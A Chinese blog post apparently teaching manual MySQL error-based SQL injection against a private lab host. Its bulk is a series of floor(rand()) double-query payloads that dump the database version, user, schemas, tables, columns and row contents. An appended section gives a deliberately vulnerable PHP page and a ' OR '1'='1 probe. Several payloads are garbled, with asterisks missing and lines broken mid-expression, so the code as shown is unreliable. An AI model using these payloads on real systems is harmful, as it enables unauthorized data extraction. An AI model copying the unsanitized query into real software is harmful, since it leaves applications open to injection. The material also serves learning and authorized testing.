Mysql现错手工注入+自己动手写渗透脚本

本文介绍SQL注入的概念及其攻击手法,包括如何通过手工注入获取数据库版本、用户、数据库名称等信息,以及如何使用工具进行自动化攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

                                 **sql注入**

简介:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
Target:http://192.168.8.142:8080/test/sqlinsert?id=2
1、判断目标站点是否存在sql注入漏洞(判断方法加入永真条件永假条件)
目标站点正常请求的返回界面
http://192.168.8.142:8080/test/sqlinsert?id=2
在这里插入图片描述
加入永真条件请求结果
在这里插入图片描述
加入永假条件请求结果
在这里插入图片描述
2、利用漏洞获取数据
2.1 手工注入(显错)
数据库版本
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
在这里插入图片描述
版本:5.5.531
连接用户
and(select 1 from(select count(
),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
在这里插入图片描述
连接用户:root@localhost
连接数据库
and(select 1 from(select count(
),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
在这里插入图片描述
连接数据库:test
爆库
and(select 1 from(select count(
),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
在这里插入图片描述
爆其他数据库
and(select 1 from(select count(
),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
修改FROM information_schema.schemata LIMIT 1,1中limit的第一数字递加
在这里插入图片描述
表:
Test 0x74657374
performance_schema:0x706572666f726d616e63655f736368656d61
Mysql:0x6d7973716c
Job:0x6a6f62
Blog:0x626c6f67
information_schema:0x696e666f726d6174696f6e5f736368656d61
爆当前数据表
and(select 1 from(select count(
),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
在这里插入图片描述
爆其他数据库表
and(select 1 from(select count(
),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=库名的十六进制 limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
在这里插入图片描述
爆其他表
and(select 1 from(select count(
),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=0x6d7973716c limit 2,1),floor(rand(0)2))x from information_schema.tables group by x)a)(原理同爆其他数据库)
在这里插入图片描述
爆字段(数据库,表名转换为16进制)
and(select 1 from(select count(
),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x74657374 and table_name=0x6a6f62 limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
在这里插入图片描述
爆其他字段
and(select 1 from(select count(
),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x74657374 and table_name=0x6a6f62 limit 1,1),floor(rand(0)2))x from information_schema.tables group by x)a)(原理同爆其他数据库)
在这里插入图片描述
爆内容
and(select 1 from(select count(
),concat((select (select (select concat(0x7e,id,0x7e,0x7e,name,0x7e))) from test.job limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
在这里插入图片描述
2.2 工具
爆数据库
在这里插入图片描述
爆表
在这里插入图片描述
爆字段
在这里插入图片描述
爆内容
在这里插入图片描述

2.3 自己写脚本注入
爆数据库
1、分析手工注入的语句构造构造动态查询语句
2、构造动态查询语句
3、根据页面长度分别从前和从后截断,获取报错信息中的数据库名,并保存到数组中备用
代码结果如下:
在这里插入图片描述
爆表
详情看代码注释
在这里插入图片描述
爆字段,爆内容原理同上

### 如何安全地测试SQL注入漏洞 #### 安全前提条件 为了确保合法性和安全性,在进行任何形式的安全测试之前,务必获得目标系统的授权许可。未经授权的渗透测试可能违反法律并造成不可预见的风险。 #### 测试环境准备 建议在一个完全隔离且受控的环境中构建用于学习目的的Web应用程序及其关联的MySQL数据库实例。可以采用虚拟机或容器化技术来创建这样的独立环境[^1]。 #### 构建易受攻击的应用程序 安装Nginx作为HTTP服务器,并配置PHP处理脚本请求。编一段简单的PHP代码片段,该代码接收来自用户的输入而不对其进行验证或转义,从而模拟存在潜在风险的真实场景: ```php <?php // 假设此文件名为vulnerable.php $servername = "localhost"; $username = "root"; // 替换为实际用户名 $password = ""; // 替换为实际密码 $dbname = "testdb"; $conn = new mysqli($servername, $username, $password, $dbname); if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } $id = $_GET['id']; // 不要这样做!仅作教学用途! $sql = "SELECT * FROM users WHERE id=$id"; $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo "ID: " . htmlspecialchars($row["id"]). "<br>"; } } else { echo "No results found."; } $conn->close(); ?> ``` 这段代码展示了典型的不安全编程实践——直接将未经审查的用户输入嵌入到SQL查询中去执行。这正是导致SQL注入的根本原因所在[^3]。 #### 执行基本的手工注入尝试 通过向`http://yourserver/vulnerable.php?id=1`发送带有不同参数值的HTTP GET请求来进行初步探测。例如,当访问路径变为`?id=1' OR '1'='1`时,如果页面返回了预期之外的结果,则表明可能存在SQL注入漏洞[^2]。 请注意上述操作仅为理论讲解之用,在真实世界里绝不要试图利用他人网站上的此类缺陷实施非法行为。相反,应该专注于提高个人技能以便日后能够帮助开发团队识别和修复这些问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值